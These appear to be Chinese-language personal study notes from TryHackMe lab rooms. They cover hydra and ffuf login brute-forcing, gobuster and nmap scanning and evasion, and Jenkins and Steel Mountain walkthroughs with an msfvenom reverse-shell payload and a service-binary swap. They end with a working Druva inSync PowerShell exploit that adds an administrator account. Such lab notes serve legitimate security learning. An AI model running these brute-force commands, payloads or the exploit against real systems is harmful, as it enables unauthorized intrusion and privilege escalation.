hydra/gobuster thm

gobuster 暴力破解目录
gobuster -dir -w /usr/share/wordlists/dirb/small.txt -u http://xxxxx

使用hydra的时候越详细爆的越快,如下图,在登陆面板抓包拿数据:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.55.41 http-post-form “/Account/login.aspx:__VIEWSTATE=ieUMuCNZ0r4W%2Fp2xwQc9bQy418MSzBqgjGb%2FI4Ywz%2BqWx05ZhDnWMcfRIwlEmfVAfoKARjaFOeSNPDoOXxnh8KmEU5uRdKZBTVklgExZ5vQNERsCOsmGPpkxA%2F8UoAHSeYNc6%2FCs5J7nW9YukY4B7m%2Bm4KePfj35FlY0chkPjDO06G4PaBYu4Y5Bl8JCImm8bNo%2BLzFcfWJLgAVTexH1jHcYJZ2WiNMyTrXD4j5R0HkcYGVDre5XsZ206oR81x%2Fq4Z27DnmPO30PDROcSYuyucS2sZ8BkMIrZnVpyYUkOt3INMXJ4gN8FKItNhHgqNAvgMwLs2RooMPXkDE7LeIdUdkjhGeBiV5ZbVtV0xZu25x0ID80&__EVENTVALIDATION=%2BizhUT7VQeBerVTMe2GOJ4TyD035Q3lxOSX2cojr%2FQXycQttUrKwlVt0iS7zbWxbWBYlVQw4CT4GUNFEujbxgkqTkyaLw1Sxj0LdH%2FL7MoJb4GgbPeeXvJGJhlWXoKIuYL9GOQTAv96osApDsSYySe%2F4JiKgooOnaw9pwKyEiBJmIgOO&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed” -t 64 //绿色要注意 -t 64 表示可以进行的任务量

CommandDescription
hydra -P <wordlist> -v <ip> <protocol>Brute force against a protocol of your choice
hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>Attack a Windows Remote Desktop with a password list.
hydra -l <username> -P .<password list> $ip -V http-form-post ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’Craft a more specific request for Hydra to brute force.

Your username or password is incorrect

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.32.96 http-post-form “/login/:username=admin&password=^PASS^:Your username or password is incorrect”

阿福jenkins

jenkins默认admin admin

1.弱口令爆破账号密码

2.后台有能执行命令的模块

3.通过反弹shell的思路获得shell,nc,msf都行

4.生成msf的payload,记住这个payload,以同样的方式上传到目标服务器中。

5.msf 启用 use /exploit/multi/handler,同时要设置payload否则他会使用默认的,连不上, set payload即可,然后设置host以及port,run开启监听

6.通过一开始的nc运行shell,msf就能拿到shell,使用msf的目的是msf能加载更多模块继续利用

7.load incognito在Metasploit中加载incognito模块

8.要检查哪些令牌可用,请输入list_tokens -g

9.使用 impersonate_token “BUILTIN\Administrators”命令模拟管理员令牌

10.ps找到服务的pid使用命令migrate来把我们的uid迁移

migrate xxxx (服务的id)

11.迁移成功之后就提权了

steel mountain

1.nmap 扫

2.找系统的cve

3.msf找payload

4.设置payload后exploit

5.ctrl Z隐藏会话

6.upload 上传powerup.ps1文件到受害主机当前文件夹

7.load powershell命令加载相关模块(仅在msf中)

8.输入powershell_shell唤出ps(powershell)操作界面

9.输入命令 . . /PowerUp.ps1运行

10.输入命令 Invoke-AllChecks:相当于漏扫了

Invoke-AllChecks是PowerSploit工具中的一个PowerShell命令,用于执行全面的系统安全检查。PowerSploit是一个开源的PowerShell框架,提供了各种用于渗透测试和红队活动的功能模块。

当你在目标系统上执行Invoke-AllChecks命令时,它将执行多个系统安全检查和漏洞探测操作,以识别目标系统中的潜在安全风险和漏洞。这些检查可能包括以下内容:

  1. 操作系统版本和补丁级别的检查:检查目标系统的操作系统版本和已安装的补丁程序,以确定是否存在已知的漏洞。
  2. 权限和访问控制检查:检查用户的权限和访问控制设置,以查找可能的权限提升或未正确配置的访问控制。
  3. 安全配置检查:检查目标系统的安全配置,例如防火墙规则、服务设置、密码策略等,以发现潜在的弱点。
  4. 漏洞扫描和利用:执行一系列漏洞扫描和利用步骤,以发现系统中已知的漏洞并尝试利用它们。

10.CanRestart 选项为 true,允许我们重新启动系统上的服务,应用程序的目录也是可写的。这意味着我们可以用恶意应用程序替换合法应用程序,重新启动服务,这将运行我们受感染的程序

11.在攻击机上生成payload:
msfvenom -p windows/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe

copy Advanced.exe “C:\Program Files (x86)\IObit\Advanced SystemCare\Advanced.exe” //替换掉原来的服务

sc stop AdvancedSystemCareService9 //关闭服务
sc start AdvancedSystemCareService9 //启动服务

暴力破解

hydra

下载 Gobuster ,或者如果您使用的是 Kali Linux,请运行 sudo apt-get install gobuster

首先,您需要一个 Gobuster 的单词列表(它将用于快速浏览单词列表以确定公共目录是否可用。如果您使用Kali Linux,您可以在/usr/share/wordlists下找到许多单词列表. 您还可以在 AttackBox 中使用位于 /usr/share/wordlists/dirbuster/directory-list-1.0.txt的目录的单词列表。

现在让我们使用gobuster dir -u http://10.10.197.195:3333 -w <word list location>运行包含单词列表的 Gobuster

nmap thm

ping不通 遇事不决就加 -Pn

扫描类型命令示例
ARP扫描sudo nmap -PR -sn MACHINE_IP/24
ICMP 回波扫描sudo nmap -PE -sn MACHINE_IP/24
ICMP 时间戳扫描sudo nmap -PP -sn MACHINE_IP/24
ICMP 地址掩码扫描sudo nmap -PM -sn MACHINE_IP/24
TCP SYN Ping 扫描sudo nmap -PS22,80,443 -sn MACHINE_IP/30
TCP ACK Ping 扫描sudo nmap -PA22,80,443 -sn MACHINE_IP/30
UDP Ping 扫描sudo nmap -PU53,161,162 -sn MACHINE_IP/30

-sn如果您只对主机发现感兴趣而无需端口扫描,请记住添加。省略 -sn将使Nmap默认对活动主机进行端口扫描。

选项目的
-n没有DNS查找
-R所有主机的反向 DNS 查找
-sn仅主机发现

准备要扫描的txt,输入:
nmap -iL list_of_hosts.txt

 Nmap 只执行 ARP 扫描而不进行端口扫描,您可以使用nmap -PR -sn 目标,其中 -PR表示您只需要进行实时的ARP扫描,不需要扫描端口

尽管ping很常用,但许多防火墙会阻止 ICMP ping 回显;新版本的 MS Windows 配置了主机防火墙,默认情况下会阻止 ICMP 回显请求。请记住,如果您的目标位于同一子网上,则 ARP 查询将先于 ICMP 请求。
由于 ICMP 回显请求往往会被阻止,因此您还可以考虑使用 ICMP 时间戳或 ICMP 地址掩码请求来判断系统是否在线。Nmap 使用时间戳请求(ICMP 类型 13)并检查是否会得到时间戳回复(ICMP 类型 14)。添加该-PP选项告诉Nmap使用 ICMP 时间戳请求

只通过icmp ping 探活但不进行端口扫描:sudo nmap -PE -sn MACHINE_IP/24

使用 ICMP 地址掩码查询发现活动主机,我们运行命令 nmap -PM -sn MACHINE_IP/24

端口扫描类型命令示例
TCP连接扫描nmap -sT 10.10.147.253
TCP SYN 扫描sudo nmap -sS 10.10.147.253
UDP扫描sudo nmap -sU 10.10.147.253

这些扫描类型应该可以帮助您开始发现目标主机上正在运行的TCP和 UDP 服务。

选项目的
-p-所有端口
-p1-1023扫描端口1至1023
-F100 个最常用端口
-r按连续顺序扫描端口
-T<0-5>-T0最慢,T5最快
--max-rate 50速率 <= 50 数据包/秒
--min-rate 15速率 >= 15 数据包/秒
--min-parallelism 100至少 100 个并行探头

UDP 数据包发送到关闭的端口,则会返回 ICMP 端口不可达错误(类型 3,代码 3)。您可以使用该选项选择 UDP 扫描 -sU;此外,您可以将其与另一个 TCP 扫描结合起来.没响应说明可达

端口扫描类型命令示例
TCP空扫描sudo nmap -sN MACHINE_IP
TCP FIN 扫描sudo nmap -sF MACHINE_IP
TCP圣诞扫描sudo nmap -sX MACHINE_IP
TCP迈蒙扫描sudo nmap -sM MACHINE_IP
TCP ACK 扫描sudo nmap -sA MACHINE_IP
TCP窗口扫描sudo nmap -sW MACHINE_IP
自定义TCP扫描sudo nmap --scanflags URGACKPSHRSTSYNFIN MACHINE_IP
欺骗源IPsudo nmap -S SPOOFED_IP MACHINE_IP
欺骗的MAC地址--spoof-mac SPOOFED_MAC
诱饵扫描nmap -D DECOY_IP,ME MACHINE_IP
空闲(僵尸)扫描sudo nmap -sI ZOMBIE_IP MACHINE_IP
将IP数据分片成8个字节-f
将IP数据分片成16字节-ff
选项目的
--source-port PORT_NUM指定源端口号
--data-length NUM附加随机数据以达到给定长度

这些扫描类型依赖于以意想不到的方式设置TCP标志来提示端口进行回复。Null、FIN 和 Xmas 扫描会引发来自关闭端口的响应,而 Maimon、ACK 和 Window 扫描会引发来自开放和关闭端口的响应。

选项目的
--reason解释Nmap如何得出结论
-v冗长的
-vv非常详细
-d调试
-dd更多调试细节

选项意义
-sV确定开放端口上的服务/版本信息
-sV --version-light尝试最有可能的探针 (2)
-sV --version-all尝试所有可用的探针 (9)
-O检测操作系统
--traceroute运行traceroute到目标
--script=SCRIPTS要运行的Nmap脚本
-sC或者--script=default运行默认脚本
-A相当于-sV -O -sC --traceroute
-oN以正常格式保存输出
-oG以 grepable 格式保存输出
-oX以XML格式保存输出
-oA以普通、XML和 Grepable 格式保存输出

爆破密码

hydra -l username -P wordlist.txt server service

比如爆破lazie的iamp的密码:
hydra -l lazie -P /usr/share/wordlists/rockyou.txt 10.10.80.177 imap

  • -l username:-l应位于 之前username,即目标的登录名。
  • -P wordlist.txt:在文件-P之前wordlist.txt,该文件是一个文本文件,其中包含您要使用提供的用户名尝试的密码列表。
  • server是目标服务器的主机名或 IP 地址。
  • service指示您尝试发起字典攻击的服务。

考虑以下具体示例:

  • hydra -l mark -P /usr/share/wordlists/rockyou.txt 10.10.80.177 ftp将在针对FTPmark服务器迭代提供的密码时用作用户名。
  • hydra -l mark -P /usr/share/wordlists/rockyou.txt ftp://10.10.80.177与前面的示例相同。10.10.80.177 ftp与 相同ftp://10.10.80.177
  • hydra -l frank -P /usr/share/wordlists/rockyou.txt 10.10.80.177 ssh当它尝试使用不同的密码通过SSH登录时,将用frank作用户名

爆破ftp:
hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.10.110.233:10021

身份认证绕过-thm

1、用户名枚举

尝试注册用户的时候使用敏感的账户,比如admin查看是否会有错误提示,比如已注册,可以说明存在admin用户。

使用ffuf以及一个字典来进行爆破,字典没有的话,thm的attcak box 文件里面有,开http server下载到kali运行就行

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d “username=FUZZ&email=x&password=x&cpassword=x” -H “Content-Type: application/x-www-form-urlencoded” -u http://10.10.224.100/customers/signup -mr “username already exists”

下图为命令运行时爆破用户名,可以看出已经爆出了admin

-w参数选择计算机上包含我们要检查的用户名列表是否存在的文件的位置。参数-X指定请求方法,默认情况下这是一个 GET 请求,但在我们的示例中它是一个 POST 请求。该-d参数指定我们要发送的数据。在我们的示例中,我们有用户名、电子邮件、密码和 cpassword 字段。我们已将用户名的值设置为FUZZ。在 ffuf 工具中,FUZZ 关键字表示单词列表中的内容将插入到请求中的位置。该-H参数用于向请求添加附加标头。在本例中,我们将 设为Content-Type网络服务器知道我们正在发送表单数据。这-u参数指定我们发出请求的 URL,最后,参数-mr是我们要查找的页面上的文本,以验证我们是否找到了有效的用户名。

然后使用ffuf爆破密码,爆破结果取决于字典是否丰富

ffuf -w 保存着密码的文件.txt:W2 -X POST -d “username=需要被爆破的用户名&password=W2” -H “Content-Type: application/x-www-form-urlencoded” -u http://受害者存在登陆的地址 -fc 200

信息发现-子域名枚举-thm

1\SSL/TLS 证书

当 CA(证书颁发机构)为域创建 SSL/TLS(安全套接字层/传输层安全)证书时,CA 会参与所谓的“证书透明度 (CT) 日志”。这些是为域名创建的每个 SSL/TLS 证书的可公开访问的日志。证书透明度日志的目的是阻止恶意和意外制作的证书被使用。我们可以利用此服务来发现属于某个域的子域,  https://crt.sh 和 https://ui.ctsearch.entrust.com/ui/ctsearchui等网站 提供可搜索的证书数据库,显示当前的证书和历史结果

2\搜索引擎

搜索引擎包含数万亿个指向超过十亿个网站的链接,这可以成为查找新子域的极好资源。 在 Google 等网站上使用高级搜索方法(例如 site:filter)可以缩小搜索结果范围。例如,“-site:www.domain.com site:*.domain.com”将仅包含指向域名domain.com的结果,但排除任何指向www.domain.com的链接;因此,它只向我们显示属于domain.com 的子域名。

转到Google并使用搜索词-site:www.tryhackme.com site:*.tryhackme.com,这应该会显示 tryhackme.com 的子域;

3\暴力 DNS(域名系统)

枚举是从预定义的常用子域列表中尝试数十、数百、数千甚至数百万个不同的可能子域的方法。由于此方法需要许多请求,因此我们使用工具将其自动化,以使过程更快。在本例中,我们使用名为 dnsrecon 的工具来执行此操作:
dnsrecon -t brt -d acmeitsupport.thm

4\使用 Sublist3r 实现自动化

为了加快 OSINT 子域发现的过程,我们可以借助 Sublist3r等工具自动化上述方法,单击“查看站点”按钮打开静态站点并运行 sublist3r 模拟来发现新的子域:
./sublist3r.py -d acmeitsupport.thm

5\使用ffuf来爆破子域名

user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.170.168

上面的命令使用-w开关来指定我们要使用的单词列表。-H开关添加/编辑标头(在本例中为主机标头),我们在子域通常所在的空间中有FUZZ关键字,这就是我们将尝试单词列表中的所有选项的地方。
因为上面的命令总是会产生有效的结果,所以我们需要过滤输出。我们可以通过使用-fs开关的页面大小结果来做到这一点。编辑以下命令,将 {size} 替换为之前结果中出现次数最多的大小值,并在 AttackBox 上尝试。
噗噗

user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.170.168 -fs {size}

除了-fs开关之外,此命令的语法与第一个命令类似,该开关告诉 ffuf 忽略指定大小的任何结果

上图先输入了第一条命令,会有很多报错,因此需要进行筛选,找到size出现最多的,如本例子为2395,那么在第二条命令用 2395 替换掉 {size}

fierce:扫子域名 kali自带

wydomain:国内搜集子域名比较全

在线子域名查询:

http://tool.chinaz.com/subdomain/
https://phpinfo.me/old/domain/

信息发现-thm

1、Favicon:网站图标
如果网站开发人员不将其替换为自定义图标,这可以让我们了解正在使用的框架。OWASP 托管一个常见框架图标数据库,您可以使用它来检查目标 favicon  https://wiki.owasp.org/index.php/OWASP_favicon_database。一旦我们了解了框架堆栈,我们就可以使用外部资源来发现更多有关它的信息

参考下面的命令下载图标的md5,然后去上述网站找图标,尝试找出使用的图标。

curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum

2、HTTP头:

当我们向 Web 服务器发出请求时,服务器会返回各种 HTTP 标头。这些标头有时可能包含有用的信息,例如网络服务器软件以及可能使用的编程/脚本语言。在下面的示例中,我们可以看到网络服务器是 NGINX 版本 1.18.0,运行 PHP 版本 7.4.3。利用这些信息,我们可以找到正在使用的软件的易受攻击版本。尝试对 Web 服务器运行以下curl 命令,其中-v开关启用详细模式,这将输出标头:
curl http://10.10.109.164 -v

3、谷歌黑客语法:
  https: //en.wikipedia.org/wiki/Google_hacking

site:
如 site:baidu.com将搜索限制在baidu.com这个域名。
inurl:
如 inurl:Login 将搜索限制在URL路径中包含login的网页
intext:
如 intext:admin 将搜索限制在正文包含admin的网页
intitle:
如 intitle: admin 将搜索限制在title包含admin的网页
filetype:
如 filetype:pdf 将搜索限制在类型为pdf的网页

duckduckgo:该搜索引擎和谷歌语法一样,不带有记录,也许无痕

4、回溯机

Wayback Machine ( https://archive.org/web/ ) 是一个网站的历史档案,其历史可以追溯到 90 年代末。您可以搜索域名,它会向您显示该服务抓取网页并保存内容的所有时间。此服务可以帮助发现当前网站上可能仍处于活动状态的旧页面。

5、存储桶:hw期间ct搞xhs的时候提到过

S3 Buckets 是 Amazon AWS 提供的一项存储服务,允许人们将文件甚至静态网站内容保存在可通过 HTTP 和 HTTPS 访问的云中。文件的所有者可以设置访问权限,使文件成为公开、私有甚至可写。有时,这些访问权限设置不正确,并无意中允许访问不应向公众开放的文件。S3 存储桶的格式为 http(s):// {name}

6、自动化工具

Using ffuf:

ffuf

user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.109.164/FUZZ

Using dirb:

dirb

user@machine$ dirb http://10.10.109.164/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

Using Gobuster:

gobuster

user@machine$ gobuster dir --url http://10.10.109.164/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

信息泄露-检查网页代码-thm

1、查看网页源码的备注信息,可能有开发人员留下的一些备注

2、尝试查找一些隐藏链接,也许会有记录敏感信息的文件

3、如果发现加载的资源如css都来自同一个目录,尝试访问它,可能能查看到一些敏感资源。因为从安全性上,这个动作是不允许发生的,应该会403,但也有可能粗心的管理员忘记配置了。

付费墙-开发者选项检查器运用

本来有三个页面,一般人能浏览前两,付费能浏览第三个。三个其实都能看,但是在第三个之上覆盖了一个付费墙。可以尝试绕开他或者屏蔽它。

打开开发者选项,找到类似于付费才能关闭的悬浮页面,或者搜 block 在右边导航栏看到display:block 把block改成none,也许浮窗会消失。

开发者选项-调试器运用

尝试查找一些可以利用的javascript代码,然后加断点后刷新,看看。

开发者选项-网络

可以抓包的

提权-windows-易受攻击的软件

下面的命令将转储它可以在已安装的软件上收集的信息(可能需要大约一分钟才能完成):

wmic product get name,version,vendor
这条命令也不会完全转存好,要查看一下桌面,可能有安装好的易受攻击的软件。对于这些软件可以在下面网站搜搜是否存在已知的可以利用的漏洞。
https://www.exploit-db.com/
https://packetstormsecurity.com/
下图为靶机运行该命令后的效果:

(————————————————————————————-
当遇到要执行的命令在txt文件里时,windows打开powershell输入以下命令执行

  1. 打开 PowerShell 终端(命令行提示符)。
  2. 使用 Get-Content 命令读取包含脚本的文本文件。假设脚本文件名为 “script.txt”,可以运行以下命令:powershellCopy$scriptContent = Get-Content -Path "script.txt" -Raw ``` 这将读取 "script.txt" 文件的内容并将其存储在 `$scriptContent` 变量中。
  3. 然后,使用 Invoke-Expression 命令以普通用户身份执行脚本内容。运行以下命令:powershellCopyInvoke-Expression -Command $scriptContent

————————————————————————————-)

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"   //这条命令就相当以管理员权限添加一个新的具有管理员权限的用户。

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

然后以管理员身份登录cmd,选择pwnd的账号密码即可